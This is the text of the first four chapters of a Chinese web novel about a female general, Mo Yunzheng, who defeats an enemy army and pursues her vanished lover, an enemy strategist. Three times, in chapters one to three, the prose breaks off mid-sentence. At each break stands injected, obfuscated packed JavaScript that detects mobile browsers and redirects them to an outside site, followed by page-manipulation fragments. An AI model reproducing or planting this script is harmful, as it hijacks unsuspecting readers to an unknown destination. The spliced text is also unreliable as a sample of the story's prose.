《折玉予卿gb》 1. 第一章 正丰十年,玄北关隘。 山谷间朔风卷起,带着经年不化的寒意,裹挟着冰雪砸在玄铁制作的铠甲上,发出沉闷的响声。 原是人迹罕至之地,此刻,却有两个不同的阵营将这狭窄的通路堵的水泄不通。 对峙的两军都是剑拔弩张,如同拉满的弦,似是下一秒就会射出弓箭直取敌人咽喉。 若是仔细查看,便可瞧见其中一方的人数远远小于对面,约莫接近千人的小队,被包围在了正中央,未留一丝足以逃脱的缝隙。 困兽犹斗,谓之垂死挣扎。 凝结到极致的氛围,唯有在耳边呜呜呼啸着的风,似是给小队敲着丧钟。 “墨将军,想不到一个小小的补给,也能劳得您大驾,莫非你们玄烛军队,真的如此狼狈不堪,派不出人了?” 最先打破沉寂的是一个骑着高头大马的将领,她牵着缰绳,悠哉游哉地走到了包围圈的最里层,似是闲庭信步,口中的话却不留一点情面,极尽挖苦。 无人回应她的刻薄,两军众将士只是看她一人的独角戏。 而这人也不恼,仍笑嘻嘻地以胜利者的姿态继续开口挑衅:“久闻玄烛玉面将军墨云徵威名,今日一瞧,竟也是个胆小鼠辈,连同我相认都不敢?” 她虽是这么说着,可那双吊稍眼却直直锁定着一人,未曾挪动分毫。 被她盯着瞧着的人,尽管被黑甲包裹,也能看出身形修长匀称。在普遍个头拔群的军中,倒是显得略微娇小,格格不入,更像是来充数的。 但就是这样的人,在曾经两军多次对战中,取下了他们羲和国副将一个又一个首级,普通士兵更是不胜枚举。 从一个小小的士兵,到如今威名赫赫的玉面将军才不过两三年。 若不是羲和有位智多近妖的军师坐镇,早就被她打的落花流水,滚回老家了。 不过即便如此,他们也只是同墨云徵打的五五分,僵持良久,才终于找到如今这个机会。 因此羲和前线,上至将领下至寻常小兵,无不想生啖其血肉,恨她至骨髓深处。 女人便是其中之一。 她出身羲和贵族,是羲和当今女帝的家族旁支,原是想来前线挣取军工,早日回都城享福,却不曾想碰上墨云徵这个硬茬,让她在苦寒边境待了数年之久,仍无一点建树。 家书与女帝数次的施压,早就将她原本的一身傲骨贬低的什么都不是,这般种种,叫她怎么不怨。 墨云徵只是淡淡地同她对视,一副未将人放在眼里的姿态,好似即将战败被生擒的人不是自己。 曾经凭借运气才能数次在墨云徵刀下侥幸逃生,每次狼狈逃窜时,女人看到的也总是这样一张脸,神情分毫不差。 凭什么墨云徵还能这么冷静。 她说了这么多废话,本来就是想激怒对方,看这玉面将军或是跪地求饶,或是破口大骂,总归不是这个模样。 女人按耐不住心中怒火,见墨云徵不接招,便冷哼一声:“今日你们必定埋骨于此,不过我倒是可以发发善心,凡可以口诛鼠辈之人,我便放你们一条命,活着离开这里。” 她笑着扫视玄烛小队,锁定了几个神色飘忽者,又转回墨云徵面上,好整以暇的等待。 “墨将军……” 果不其然,在墨云徵身侧的一个副将率先开了口,她咬牙切齿地瞪着仍是没有什么反应的女人,攥紧了拳头。 “战事持久,粮草吃紧,原本我们来此就是为了接应朝廷补给,可不知是谁走漏了风声,你可知晓此事?” “我怎会知晓。”微哑的声音从墨云徵淡色薄唇中溢出,虽很快便消弭在风中,却让在场的所有人都真切地听到了她的回应。 “噗……哈哈哈哈。” 敌军副将像是听到了个天大的笑话,在马背上前仰后合,半晌才停下。 “真是好笑,这战场上,也有你墨云徵不知的事?” 待她笑够,便很快敛下了扬起的嘴角,紧紧地盯着墨云徵,眼里的憎恶像是毒液般渗了出来。 “任你再手眼通天,机关算尽,也有阴沟里翻船的一天,这走漏消息之人是谁,你不可能不清楚。” “你这是什么意思。”原本沉默在旁的另一个副将猛地扭头看向她,眼眶通红。 “哪有什么意思,墨大将军勾结我们军师,里应外合将你们囚于此地,断了你们的粮草,助我军一举拿下玄烛啊。” 女人振臂一挥,手掌落在了被抢夺到羲和军这边的粮草车上,扬起眉峰,向玄烛小队展示着此行的战利品。 “一派胡言。” 墨云徵冷了脸色,没等继续反驳什么,就被尖锐的声音打断。 “墨云徵,那人说的没错,你果真是鼠辈!陛下就不该如此厚待你这罪臣之后,早该叫你午门斩首,我们也不会沦落到如今这个地步!” 第一个置疑墨云徵的副将像是终于找到了错处,不管不顾的将满腔怨怼全部砸向了自家主将。 “你今日也莫要怪我说话难听,谁让你拿我们的命做投名状,你们墨家果然是一丘之貉,那肮脏的身体里流淌的都是这种通敌叛国的血!” 墨云徵原本平稳的呼吸蓦地乱了一顺,又很快被压了下去。 她早知这边境偏远也抵挡不了朝廷中搅弄风云的手,凭自己现在的势力没法将所有的人心都笼络,却不想真的有人可以软弱至此。 曾经那些人在暗地里扰乱军心,她不曾重罚,在今日就成了被敌方利用刺向她的刀。 只是那人有一点说的不错,若她没被陛下赦免,成为墨家的最后一丝血脉,那这世代武将的门楣,将永远被通敌叛国的污名笼罩,冤屈也再无洗刷的机会。 她也不会被发配边疆,戴罪立功,而是继续被那人护在背后,直到她光荣战死,再由自己继承家业,教导小侄女,延续荣耀。 而羲和副将听到则是拊掌大笑,指着那装若癫狂的副将:“好!好!今日你可以全须全尾的离开这里。” “还有人要说吗?你们难道都想死?” 除了刚才那人,其余玄烛士兵都不愿相信她的话,咬牙僵持着。 “看来是没有人想活了。” 女人骑着马,作势转身离开。 “那就都杀了吧,活捉墨云徵。” “那我呢!”方才已经觉得逃过一劫的副将大喊出声。 “我说说而已,你真信了?”女人逆着光俯视副将,吊稍眼中满是讥讽,“我最讨厌你们这样的鼠辈了。” “我和你拼了!” 生死关头,没等众人反应过来,那副将终是失了理智,提着刀冲了上去。 却被女人在马上一脚踹翻在地,羲和士兵的刀刃旋即贯穿了她的胸膛,温热的鲜血很快就将那片雪地染红了一片。 墨云徵冷冷的看着眼前的闹剧,没有一点多余的反应,只是搭在刀柄的指尖轻轻敲了敲,心里默默数着数。 不远处的山谷顶端蓦地升起一股狼烟,恰巧是可以让墨云徵清楚看到之处。 她原本古井无波的脸上终于扬起一丝笑意:“你刚刚问我是否知道谁走漏的消息,对吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499543|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 女人的动作一顿,抬头看向突然同自己搭话的墨云徵,嘴角扬起一个嚣张的弧度:“怎么,墨将军是要做什么垂死挣扎?还是非要我让你身边的人死个明白?” 墨云徵不回答她的挖苦,只道:“是我的枕边人,唯有他有机会。” “现在才知道,说什么都晚了。” “但你没想过,他是我的人……”墨云徵抬起另一只手没握刀的手,轻飘飘的向下压了一下。 周围早就准备好的士兵将手中的轻甲抬起,呈保护的状态。 轻甲反射的日光格外晃眼,刺地包围圈最里的羲和士兵闭眼后退,连羲和副将也眯起了眼睛抬手格挡。 “什么……” 两侧的山峰蓦地开始震动,将她的话截断。 整齐的踏步声夹杂着铠甲的响动,让山峰顶部的雪都蠢蠢欲动起来。 女人脸上的笑容也不复存在,她瞪着墨云徵,出刀将身侧的粮草袋子划破,除了最上层一点粮食,剩下的都是沙石之类的东西,哗啦啦的撒了一地。 至此,攻守易形。 “玄北关本就易守难攻,你可知我为何选在此处接应粮草,又知为何你们那军师从未提及?” 墨云徵看着山顶一张张真正拉满弦的弓弩,缓缓开口,语气满是真诚。 “自然是因为……他是我的枕边人啊。” “该死!” 女人只留下了最后两个字,便被破空的箭矢扎成了刺猬,从马匹上坠落。 原本形成包围圈的一万羲和士兵此刻成了移动的靶子,也为中间的墨云徵等人做了天然屏障。 敌军将领已死,军队也大乱成了一片散沙,顾不上什么活捉墨云徵的命令,奔走而逃。 在墨云徵提前的排布下,羲和士兵只余下廖廖数人回去报信。 而那被率先祭旗的羲和副将,则是早就在纷乱中被踏的不成样子了。 最后玄烛军队收拾战场时,墨云徵只吩咐给她一席草盖住,也算留下了体面。 “他还是心软了……” 想到此次设计埋伏羲和派来的人,空有职位,没有头脑,任由情感支配行动,根本不是敌方军师一贯的作风。 明知是她带队,若是换个再谨慎的人,也不会败的如此惨烈。让她用不到三千的玄烛军,歼灭了一万的羲和军。 不过时间不等人,她的计划本就是出其不意,将迟滞的战况撕开一个突破口,再将优势扩大。 如今才走了一步棋,局势尚未稳定。 墨云徵无瑕再去想别的。 因这次以少胜多,玄烛军心大涨。 双方消耗良久,没有粮草让两国在这隆冬之时都被拖的疲惫不堪。若是没有安祁的到来,她也会想其他办法结束战事,就是会比现在更加惨烈些。 墨云徵趁着羲和还未反应过来之时,连营地也未回,直接率领着万人大军直压羲和边界。 让守城将领刚刚听到大败的消息,就又迎来当头一棒,吓得没抵抗多久,就弃城而逃。 墨云徵占领第一城时,便下令整顿,稍作休息再继续进攻。 也就抽出了空闲处理其他的事。 “安祁在营地中吗?”女人看着眼前的沙盘,指尖轻轻拨弄上面的棋子,询问自己在营地中赶来的亲信。 “安公子……”亲信吞吞吐吐。 “说就是了。” 墨云徵既这么说了,亲信也就闭着眼一口气讲了出来。 “安公子在听到羲和大败的消息后,不久就……就心悸而去了。” 2. 第二章 “心悸......而去?”墨云徵蹙着眉,将听到的话重复了一番,像是没能理解其中含义。 墨云徵平日对待下属是很好的,对她们并不会像都城权贵那般苛待,但真正在她身边的人才知道,那双总是带着温柔笑意的眸子里,是一片寸草不生的死寂与荒芜。 她的怒火向来没有任何征兆与表现。 因那格外敏感的出身,让她早就习惯去压抑自己,却仍然避免不了许多恶意。 只要是墨云徵手下的人,都崇拜她,却也怕她。 相信没有人不会为这样一个杀伐果决,赏罚分明的领导者而倾倒,更别说她具有的能力与才华,就足以服众。 与当年的澜将军简直是一个模子里刻出来的。 不过现在,亲信只敢战战兢兢立在一旁,低着头,不敢应声。 明明将军出军前特意嘱咐过照看好安公子,她却在墨云徵大胜后带来这样的噩耗。 军营里谁人不知安祁于墨云徵的重要性。 那位公子虽是边境一小村普通农户家的孩子,却格外体弱,得了许多难养的富贵病,墨云徵就整日捧在手里怕化了,恨不得拴在腰带上挂着。 连前些日子才开完三个时辰的战略会议,听说安祁染了风寒,都整夜未合眼的照顾,数日衣不解带才将人养好了些。 这是得多喜欢,才会快要将人宠上天去。 而且这安公子可是将军亲口承认的未来男主子,之前还说凯旋之后去吃他们喜酒。谁知道仅仅墨云徵离开营地不到一日的时间,就因她看守不利撒手人寰了。 这实在让人难以担待得起。 时间的流速仿佛缓慢了千倍,将军营帐内寂静的可以听到吞咽口水和墨云徵轻敲沙盘的声音。 “我知道了,这件事先不要声张,你也下去吧。” 半晌,亲信才听到那恍如天籁的声音,如释重负的松了口气,赶紧作了个揖退了下去。 她掀起门帘,涌入的寒风将帐内的烛火吹的跳动摇曳。 明灭的烛光映在墨云徵面无表情的脸上,将那原本流畅柔和的眉眼线条切割了个分明。 “真是个小没良心的,怎么就跑了呢......“墨云徵微微扯了扯唇角,露出一个无奈的笑意。 还没等到她凯旋而归,亲自会一会这位同自己“狼狈为奸”之人,他倒是不顾这些日子的恩爱情谊,先一步割袍断义了。 能瞒过她安排暗中监视的人手逃走,这小军师想来也是有些能耐。 不然又怎能借着她给出的机会,将那封葬送羲和万人大军的情报送回去,又怎能不留任何痕迹的出现在她的面前。 就连自己最开始,也差点就被骗过去了。 犹记得,安祁是在冬日雪最大时出现的。 因为天气太过恶劣,两军的仗也打不起来,便都缩在自家营地养精蓄锐。营帐间寂静的也如同无人之地。 青年只穿了一身单薄的粗布麻衣,僵直的倒在了城门口的雪地里。 刮着冰碴的风,将他的来路也吹散,留给刚刚赶到此处墨云徵的,只有鼻尖久久无法忽视的凝结的铁锈味。 那是安祁身下双腿中流出的血,将地都染红了一片,渗透到这片茫茫雪地。 没有人知道他的来历,也无法断定他因何受了那般重的伤。 他的一切,都出自那张巧舌如簧的嘴。 若说怀疑,那肯定是有的。 边境孤城,两军对峙,突然出现的伤员,无不昭示着诡异。 就像是一个猎人专为猎物准备的陷阱,危险又充满诱惑。墨云徵那一刻脑中闪现过万般念头,最终定格成一个可能性。 换做曾经的她,是万万不会理会在这个时刻去随便接触一个来历不明的人。更别说面对的敌人中有那样一个手段狠辣,视人命如草芥的军师。 没遇到安祁前,墨云徵的确是这么想的。 一个可以让自家千人军队作为牺牲品探路的军师,并且在同为女尊的国家里,以男子身份出入军营,自然不是什么良善之辈。 把一个折磨的奄奄一息的普通人作为诱饵与卧底,想来也是随手的事。毕竟那时候,他们两军为了赢,已经快要无所不用其极。 但安祁这步棋做的实在干净。 也败在了太过干净。 犹如戏台上唱戏的伶人,一颦一笑尽是排演了上百次,却终究囿于那方寸之地。 墨云徵对于那些让人听的腻味的陈词滥调,向来是敬谢不敏的,只不过还是没办法将那日刺目的鲜血忽视干净。 阴谋也好,天意也罢。 救一人而已。 明月高悬,银辉散落雪地。 墨云徵和衣躺在棉麻衾被里,又少见的感受到了一丝不适应。 原本应是有个手凉脚凉的人儿窝在她的怀里,软乎乎的让她捂着,然后乖顺的倾听她的烦恼,抿着嘴轻笑。 他确是自己的枕边人。 带着两人皆心知肚明的秘密,同她做了黄粱夫妻。 直到他总是捂不热的指尖按上她脖颈处的脉搏,这场大梦才让人恍然惊醒。 走到她这位置的人,怎会察觉不到那一瞬微弱的杀意,更别说在致命要害之处切实的触碰。 明明指尖抖得厉害,怎么会是那般冷血无情的军师呢。 明明是计划周密,连自己都能算计,却又怎么心软着,唯独给了她一线生机呢。 明明...... 明明她未曾想要如何,怎么又被狠心抛弃了呢。 “心软,可成不了大事。” 墨云徵翻身平躺,却不知被什么东西硌了一下。 她伸手摸索拿起,借着月光眯着眼瞧,是个挂着平安扣的筚篥。 平安扣下的络子垂着,轻轻扫过她的脸颊,有点痒,像是一只隔着久远的时光的手,轻柔的抚摸了她。 看着络子上模糊不清的娟秀小字,墨云徵喉间溢出一声轻笑,带着薄茧的指尖慢慢描摹上面的轮廓。 出发前,安祁还拿着这个小东西和自己闹过别扭。 那时军中又一次就粮草之事争论不休,来来回回,话里话外就是想将罪名甩到她头上。 手段拙劣的让人发笑。 不知是哪个人许诺了他们,若是真的兵败,只要将她墨云徵推出去,就可以保住性命无虞。 明明都是岁数近半百的人,怎的如此天真。 墨云徵百无聊赖的抱着手臂,边欣赏这时不时就会上演的闹剧,边想着过会如何诈一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过是怕她疑心,故意胡诌的借口,却也能演的如此逼真,好像真对她情根深种,半点容不得旁人。 若真是如此,那她给了这人的诸多选择,怎么仍走向了背道而驰的一条。 ...... 天刚破晓,驻扎在羲和边城的玄烛军便整装待发。 领头身着将军玄铠的墨云徵虽一夜未眠,却仍神色熠熠,如青竹般挺直脊背,坚定的看着前方属于羲和的土地。 兵贵神速,接下来她带领玄烛军行进的每一步都不容有误,所以在赢下第一战后,墨云徵便很快将军中那些留有异心之人擒住控制,并将安祁与羲和联络的证据尽数安到她们头上。 作为当年之事的参与者和见证者,她们的名字墨云徵没有一刻忘记,甚至于看到她们每一次想要重现栽赃之举时,她总要压抑五内怒火,恨不得将这些人舌头拔下来才好。 如今这番,也是叫她们自食恶果。 只是她们不过是最为无足轻重的爪牙,幕后之人尚未出现,她连入场的资格都未能真正拿到,在此间的所做的一切,不过是让她取得了距离翻案的微末进展。 行军的鼓声与号角声在身后响起,旌旗飞扬,宣告着又一场战事的开始。 听着铁骑渐远,昨夜赶到驻扎地的亲信手中攥着墨云徵给她留下的密信。 里面只有短短几个字:“寻羲和军师,活捉。” 3. 第三章 玄烛边境一深山中。 “玄烛短短一月内,攻下了羲和两城七州......” 一白衣青年卧在床榻上,身上盖着厚重的衾被,瘦弱的像是下一刻就被压垮折断般,抚着胸口细细喘着。 “咳,咳咳。” 破风箱般的声音环绕在寂静的木屋中,在梁上饶了一圈才勉强停下。 “你说,领头的,是那墨云徵?”青年咳了半晌,狐狸似的双眸都蒙上了一层水雾,却冷冷地瞥向面前安静侍立着黑衣人。 黑衣人低着头微微点了点:“而且,她每占领一处便要抓住当地将领盘问,是否见过一个叫安祁的男子......还有曾经的于清军师。” “哈,她倒是小肚鸡肠,死死揪着我不放。”萧祁安苍白的脸上漫上淡淡红晕,如樱的唇瓣勾起一抹极具嘲讽的笑意。 若是早知这人是这样一个性子,他怎么都不会亲自去那狼窝做卧底,白白搭上这副沉疴病体不说,还被逼得到处逃窜。 本来想着给她留一条生路,才派了那个走了关系的蠢货,凭自己对墨云徵本事的了解,她们虽然会败,但也足够让墨云徵活着回去。 谁想到他根本就是着了那女人的道。 蠢货的性命他自然无甚在意,倒是她死了,反而能让那鸠占鹊巢之人恶心个一阵,倒也死得其所。只是这么一弄,他便成了羲和的罪人,哪还能回去擎等着被抓。原本慢慢渗透羲和朝堂的计划也付之一炬,胎死腹中。 想来陪着墨云徵虚与委蛇的那段日子,他萧祁安真是被鬼了迷心窍。 那般的温柔体贴,快要没了底线的纵容,竟是都演给他瞧的。枉他破了从未破的例,只为了她对安祁的真心相待。 那晚他就该...... 萧祁安修的平整的指甲深深的扣到衾被中,却因无力又颤抖着松开了。 罢了。 就算他真的动手,也未必成功,不说他早就因为幼年被下的毒变成如今这样,没等掐死墨云徵就先被打死了。就算她死了,玄烛也不是真的无人可用,也只会让他再多些麻烦。 在收到羲和兵败的消息时,萧祁安便知道自己早就暴露了,连忙假死离开,就避开墨云徵暗地里安排监视他的人,就花费了一番手段。 他死的蹊跷,本就只能骗骗不知道的人,萧祁安从未想过可以瞒过她。 谁知这女人一点退路没给他留,竟是连他在羲和军中的名字都挖出来了。 说到底还是他技不如人。 小瞧了以那种面目示人的墨云徵,听传言只以为她是个风流好搞的角色,在战略上小有能力,却没想到是个工于心计,难以拿捏的。 “真是时也,命也。” 萧祁安靠在床头,露出脆弱纤细的脖颈,双眸微阖,轻叹一声。 “吩咐你去查的另一件事可有眉目?”青年平复了半晌才重新睁眼,清泠泠的眼隐去了水色,带着些许锐利。 当年宫变之事蹊跷,这些年他边躲避羲和女帝的追杀,边收揽旧部,还不忘找到当时是谁提供支援,直接导致前朝覆灭的帮手。 前两事都在他苦心经营下稳步进行,唯有最后一事迟迟没有动静。 “禀公子,属下此番......”黑衣人闻言立即凑到萧祁安耳侧低语。 “好啊,你带我去那处,然后回去领赏。”萧祁安终于舒颜展眉,白玉葱段似的手递到黑衣人面前,黝黑的眼瞳中带着志在必得的幽火:“扶我梳洗,即刻启程,一定要赶在墨云徵回去之前到达。” 这次,他定要让这风水轮转到她墨云徵头上。 ...... “将军,羲和那边的降书已经送达,使者说和亲的公子随后就到,让我们稍作等候。” 亲信将手中降书递给墨云徵,便后退一步回到原地站好。 “如今仗也打完了,小雨你也别这么紧绷了,来坐。”墨云徵接过降书放到一旁,笑眯眯的冲周雨招手。 “将军,这于理不合,属下哪能跟您坐在一起,更别说您本应罚属下办事不利的罪,却赦免了属下,周雨又怎敢逾越。” 周雨诚惶诚恐的连忙摇头,吓得直后退,却被墨云徵一把拉到面前,轻轻点了点她的额头。 “你这小古板,吩咐你去做事时又没下死令,怎么还提罚不罚的?找不到就算了,一个男人而已,哪有你们重要。” 看着周雨仍隐隐抗拒的模样,墨云徵扬了扬眉尾,没再强迫她。 “你不愿算了,况且那于清本就狡猾,连羲和都不知他的来历,你去寻又能寻出个什么名堂。” “话说,这羲和派来和亲的公子是个什么来头,排场不小,陪嫁加上赔款,快要把羲和国库给掏空一半了吧。”墨云徵摸了摸下巴,凑到过去同周雨低声八卦。 周雨抿了抿唇,伸手放在唇边,附身在墨云徵耳边道:“听说是羲和女帝的长子,才十岁的年纪,还是前朝皇帝的血脉呢,这不一有机会,就像是烫手山芋般扔给了咱们玄烛。” 说是和亲,实际上同质子没有太大区别。 墨云徵眯了眯眼,仔细品味其中关窍。 如今的羲和女帝,曾是前朝皇帝后宫中的贵妃,不知何种不足为外人道的原因发动了宫变,推翻了前朝的男尊制度,学着她们玄烛,自己称了女帝,又改了现在的国号。 算算时间,这和亲公子,便是羲和女帝宫变后不久生下的长子了。 只是十年之间,被养在宫外的行宫别苑,也没有被封为皇长子,想来是不被喜爱的。 “只是给他陪了这么多嫁妆,总要找个合适的皇室宗亲相配才好,如今适龄的,也就是五皇女了吧。”墨云徵拿起降书把玩着,“只是他们年纪还小,若是要完婚,怎么也得等个七八年,况且五皇女被陛下保护的太好,现在都从未露过一面……” 周雨与她四目相对,明白了她未尽之意。 七八年后的局势,谁人都说不清,这羲和女帝属实是把自己的长子往火坑里推。 “当真是心狠啊。” 墨云徵摇摇头:“父母之爱子,则为之计深远,却抵不过最是无情……” “羲和萧亦尘前来拜见墨将军。” 蓦地,门外突然响起了一道稚嫩的声音,介于幼儿与少年之间,大抵是舟车劳顿,此刻微微有些哑。 周雨听到响动,赶紧起身离了墨云徵耳畔,端正的站到了她身后。 她一走,墨云徵也能毫无遮掩的看到来人。 萧亦尘的身量已经稍微抽条,大抵因为不受宠,身上也没有二两多余的肉,披着厚重的红色嫁衣也没法撑得好看,带着面纱,眉眼恭顺低垂地行着拜礼。 连身后跟着的侍从也少的可怜,难掩疲态。 “萧公子,一路辛苦了,接下来便由我护送你到玄烛都城。” 墨云徵勾唇笑着,礼貌的起身去迎他。 只是她才托着萧亦尘的手腕,想让人收了拜礼,便看到了他藏在宽大嫁衣袖袍中,即将刺向自己的暗芒。 墨云徵呼吸停滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499545|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬,身体下意识的动了起来,两指将刀身打飞,又伸手去擒萧亦尘的另一只手。 少年见匕首被弹飞,刺杀不成,又飞扑去捡匕首意图自尽。 那纤弱的身子没等跃出多远,就被墨云徵轻易拦腰抱住,双臂被固定在头顶。 一切变故仅发生在几息之间,除了两个当事人,其余人都没来的及做出反应,便尘埃落定。 墨云徵攥着萧亦尘交叠的手腕,将人提着扔到了身后的桌案上,俯视着这个胆大包天的少年。 “萧公子莫要挣扎,墨某不是什么怜香惜玉的人。” 她的笑容从刚才到现在虽没有一点变化,眸子却冷的吓人。 萧亦尘到底只是一个十岁的孩子,伤人自尽不成,也没了其他法子,与墨云徵对视的那一刻,泪水便从那双小狗似的眼睛里涌了出来。 原本挂在他脸上的面纱也在刚才掉到了地上,此刻萧亦尘的面容直直的映在了墨云徵眼里。 虽然稚嫩,但真是像极了。 “小雨,将萧公子的侍从请出去,我有话单独问。” 墨云徵看的出神了一瞬,就又恢复了寻常模样。她掐着少年的脸,不让他乱动,一边威胁着迟迟不愿离开的侍从,一边暗自仔细端详。 “只是说些话,墨某不会做其他的龌龊之事,你们大可放心,问完后,我可以当做无事发生,将你们全须全尾送到都城,若是你们不配合,那就别怪我了。” 墨云徵抬眼看向那几人,见眼中的危险之意并不作假,他们这才一步三回头的离开了。 待屋内只剩了二人,墨云徵才柔了声音:“我松开手,你别乱动。” “你不能杀我,我是母……母皇最喜欢的长子,是来和亲的。” 萧亦尘已经完全没了刚刚鼓起的那股劲,连刚刚墨云徵的安抚都没有听到,只抽抽哒哒的哭,还不忘拿出身份虚张声势。 只是他又怎么能骗过面前这个人精。 墨云徵心中了然,却仍不动声色:“你说你母皇最喜欢你,那你父君是谁,也是你母皇最喜欢的?” 萧亦尘听到她问起这个,愣了一下,随后又咬着唇瓣不知怎么回答。 “父君……父君死了,我不知道。”他说得磕磕绊绊,眼神飘忽,就是不看墨云徵。 “呵……”墨云徵轻笑,捏着他脸颊的力道微微加重,将擦了脂粉的娇嫩皮肤都按出了淡淡红痕 “你乖乖的,我就不杀你,毕竟你已经出了羲和边界,若是我想要你的命,现在没人拦得住我,反之,若你诚实一点,我还能在你进了都城之后护着你。” 萧亦尘虽年幼,却并非看不懂眼色,不识时务的蠢货,见墨云徵这般,就知道她并未因他是小孩而哄骗,的确是如此想的。 “是前朝皇帝。”他闷闷回答道。 既已经配合,墨云徵也没在擒着他的手腕,掐着他脸颊的手也松了松,改成托着他的下巴。 “可有人说过,你的眼睛像父君?”女人弯了眉眼,指腹轻轻在他带着指痕的脸颊上轻轻摩挲。 萧亦尘被他母皇不喜的就是这双眼睛。 母皇只要看到他时,总是会嘟囔一句:“怎么这般像,看得人心生厌烦。”便把年幼,还渴望母爱的稚童拂开。 见他的次数越来越少,最后甚至于将他扔到宫外不闻不问。 “有的,母皇说过。”少年挂着泪珠的眼睫微微颤抖,却仍老实的回答。 墨云徵看着那副样子,心中一个荒诞的念头逐渐浮现。 4. 第四章 自那日接到萧亦尘,墨云徵回都城的路上就多了许多乐趣。 少年原本是被迫送来和亲,一路上又听了有关墨云徵许多的谣传,怕的实在不行,这才有了鱼死网破的念头。 不知道羲和回去禀报消息的人如何说的,大抵也逃不过人面兽心,阴险残暴之类的话。 总之让萧亦尘觉得此番来玄烛,遇到这宛若阎罗的将军与送命并无两样。如果被生生磋磨死,不如试着杀了这祸害再自我了断,也算成全了自己的名声,不算对不住生他养他的国家。 却没想到墨云徵并非青面獠牙,也没有弑杀之性,反倒是被他刺杀之后,还能待他如初,事事妥帖的比他从前在羲和还要更加细致周全。 也就让他生出了不少的心虚与歉意。 墨云徵坐在溪流边的大石头上,看着已经换了自己常服,褪去粉黛,从马车里扭捏向自己走来的少年,有些忍俊不禁。 那张脸蛋虽然稚嫩,却仍能看出与安祁的相似之处。再加上自己从少年嘴里听到的回答,不说能十成十的把握证明安祁与前朝皇室有牵扯,却也不会出其左右。 少年人的小心思实在太过透明,让人一眼便能看破。 不同于安祁那般的七窍玲珑,总是让她猜来猜去,萧亦尘大抵没经历过什么,心里的事总是表现在脸上。 墨云徵随手拽了自己才破烂不久的外袍铺在另一个小一些的石头上,轻轻拍了拍,“萧小公子也出来透透风?” 萧亦尘刚刚到她面前,没等找个地方落脚,就被她招呼着坐在旁边,虽然因为心里藏着事没有反应过来,身体却非常听话的坐了上去。 少年垂着头,双手抱着自己的膝盖,白月袍子垂在了青苔上,被洇湿了一块深色的痕迹。 只是他并无心思去在意,那双澄澈的眼过了半晌才怯怯抬起,盯着面前笑盈盈的女人。 而那念了一路的话像是棉花般堵在胸口不上不下。 惴惴不安的感觉实在磨人,来到玄烛后所遇到的第一个人便如此难以揣测,萧亦尘实在对未来自己的处境倍感忧虑。 怕她在意那日的冒犯,又怕她不在意。 可墨云徵又是承诺过要庇护自己,平白叫他多了些妄生的期盼。 被问了许多的事,结束后在场的所有人便也当作什么事都未发生过,等她又将羲和的队伍好生安顿一番才出发。 可总归是再听对方说一次稳妥些。 萧亦尘抿了抿有些干燥的唇瓣才开口,“冒犯将军之事实属抱歉,一路上多亏了您的照拂,亦尘实在不知该如何报答。” 看着对方说话时又错开的视线,墨云徵唇角的笑意更加明显,“现在说报答之事还是早了,萧小公子性命的杀生大权从来都不在我的手中,等到回了都城就全凭陛下心意,我也只是个领路的而已。” 她这话与最开始的完全相悖,吓的少年眼睛蓦地瞪大,一副被骗受惊的小模样,纤细的手指都将身下垫着的本就破了好几个洞的外袍紧紧攥到了掌心。 “将军是骗我的吧......” 女人并没有立刻回答,只是玩味的看向少年的身下。 那袍子上破洞的来历也与萧亦尘有些渊源。 便是安祁在被她第一次抱上马背兜风时,怕得不行时抓出来的。 明明唇瓣被冷风吹的煞白,手劲却一点不小。虽然衣服也是有许多年头,但也不是那么病弱的一个人能抠破的,更别说安祁那双柔嫩白皙到没有半点茧的手,一看就是未沾过半点阳春水。 哪里像什么农户家的孩子。 不过这两人不仅面容有几分相似,连某些小动作都一样,倒是巧的很。 墨云徵不再逗他,“嗯,骗你的。” 她起身拂了拂衣角,向少年的方向微微偏头,束起的长发荡起一个愉悦的弧度,“报答什么的就不必了,我所承诺之事一定不会食言,萧小公子不必忧心,这么好看的脸蛋真该多笑笑,是不是?” 萧亦尘这才惊觉被耍了一通,注视着女人伸到面前的手,却发现自己实在生不出什么恼怒的情绪。 或许是对方话里的真诚,或许是心中巨石终于落下。 让人唯有感到轻松而已。 所以他只呆愣愣地用指尖轻轻搭到上面,拽着那件破外袍站起身子,亦步亦趋的跟在后面上了随行的马车。 直到墨云徵从他怀里接过衣袍时,少年脸上的红霞都未消散,甚至调皮的跃上了耳畔,久久未褪。 ...... 玄北关离都城还是有些距离,等到墨云徵班师回朝已经过了一个月半之久。 冰雪早就消融,在初春的芳菲也是开了又谢。 带着战利品的玄烛大军终是踩着春的尾巴到达了都城。 “将军,前面就是城门了,您听没听到什么声音?”跟在墨云徵身侧的一个小兵安奈不住心中雀跃,凭着个把月间对她的熟悉,在此时开起了玩笑。 “什么声音?”墨云徵放慢了骑马的步子,目光落在缓缓打开的城门上,眼中闪过一抹暗芒,嘴上却懒懒扯长了调子回她。 